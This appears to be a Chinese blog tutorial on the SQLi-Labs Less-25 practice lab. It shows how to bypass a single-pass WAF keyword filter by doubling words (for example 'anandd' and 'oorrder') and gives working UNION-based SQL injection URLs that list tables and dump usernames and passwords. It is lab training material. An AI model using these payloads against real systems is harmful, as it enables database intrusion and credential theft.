WAF绕过

实验原理

WAF (Web Application Firewall)的中文名称叫做"Web应用防火墙",通过检查HTTP的流量,它可以防御Web应用安全漏洞,如阻止SQL注入,跨站脚本(XSS)、文件包含和安全配置错误等漏洞引发的攻击。
作为攻击者来说,常见的绕过WAF的方式包括大小写变换、编码、重写、巧用注释符、巧用盲注、同功能函数替换等。其中,重写适用于WAF只过滤一次敏感字的情况。比如 WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了。

1.访问SQLi-Labs网站

访问Less-25,并根据网页提示给定一个GET参数

 2.寻找注入点及判断WAF过滤的关键字

http://127.0.0.1/sqli-labs/Less-25/?id=1'

运行后报错! 

http://127.0.0.1/sqli-labs/Less-25/?id=1' and '1'='1

 运行后页面显示的并不是id=1的用户名和密码,且提示原本输入的payload中"and"被删除了!

 同理,经过尝试,payload中的"or"也会被删除。

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd '1'='1

 运行后正常显示id=1的用户名和密码,虽然原本输入的payload 中"and"被删除,但只删除一次!

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd '1'='2

 运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点,且WAF对"and"、"“"or"关键字进行过滤,但只过滤一次。
因此,在后续的注入步骤中,payload中只要存在"and"、"or"这样的固定字符串,
都需要使用重写方式绕过WAF的过滤。

3.判断网站查询的字段数

http://127.0.0.1/sqli-labs/Less-25/?id=1' oorrder by 1 --+

 注意:“order”当中含有“or”,因此也需要重写,即"oorrder”

正常显示!

...

...

最后,网站查询的字段数为3

 4.判断网站回显位置

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,3 --+

结果是2号位3号位可以回显

5.获取网站当前所在数据库库名

 

显示为security

6.获取数据库security的全部表名

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

注意:“information”当中含有“or”,因此也需要重写,即infoorrmation”

 显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息

7.获取users表的全部字段名

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users' --+

8.获取users表id、username和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

1)显示第一组数据

 http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+

 2)显示第二组数据

 http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=2 union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 1,1 --+

 以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值